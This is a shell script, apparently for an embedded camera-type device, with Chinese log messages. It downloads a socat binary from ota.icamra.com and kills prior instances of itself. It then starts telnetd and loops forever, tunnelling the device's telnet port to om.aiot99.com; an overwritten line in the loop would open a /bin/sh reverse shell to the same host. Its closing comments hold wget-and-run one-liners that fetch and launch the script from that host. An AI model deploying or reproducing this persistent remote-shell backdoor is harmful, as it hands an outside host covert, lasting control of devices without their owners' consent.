#!/bin/sh
mkdir /tmp/test -p
cd /tmp/test
rm /tmp/test/socat -rf
wget http://ota.icamra.com:8021/debug/i6e/socat -O  /tmp/test/socat
chmod 775  /tmp/test/socat

  
currentpid="$$" 
pids=$(ps -a | grep "dwrun.sh" | grep -v "grep" | grep -v "$currentpid" | awk  '{print$1}')
echo "now pid:$currentpid"
echo "kill pids:$pids"
for pid in  $pids; do
        echo "kill $pid"
        $(kill -9 $pid)
done



DEFAULT_PORT=28010

INPUT_PORT=$1

echo "输入端口号: $INPUT_PORT"

# 检查参数是否有效
if [[ -z "$INPUT_PORT" ]]; then
    echo "没有提供参数，使用默认端口号: $DEFAULT_PORT"
    PORT_TO_USE=$DEFAULT_PORT
else
    echo "使用输入端口号: $INPUT_PORT"
    PORT_TO_USE=$INPUT_PORT
fi

telnetd & 

while true; do
   COMMAND="/tmp/test/socat EXEC:/bin/sh,pty,sigint TCP:om.aiot99.com:$PORT_TO_USE" 
   COMMAND="/tmp/test/socat TCP:127.0.0.1:23 TCP:om.aiot99.com:$PORT_TO_USE"    
   killall -9 socat 
   echo "启动程序中:$COMMAND"
   eval $COMMAND
   echo "异常退出，1秒后征订"
   sleep 1 
done

# 通过执行以下命令，即可实现  

#   cd /tmp && rm /tmp/dwrun.sh -rf && killall -9 dwrun.sh  && wget http://om.aiot99.com:28001/html/dwrun.sh -O /tmp/dwrun.sh && chmod 775 /tmp/dwrun.sh && /tmp/dwrun.sh 28050 & 


#  cd /tmp && rm /tmp/dwrun.sh -rf &&  wget http://om.aiot99.com:28001/html/dwrun.sh -O /tmp/dwrun.sh && chmod 775 /tmp/dwrun.sh && /tmp/dwrun.sh 28010 & 



# killall -9 dwrun.sh  && killall -9 socat 

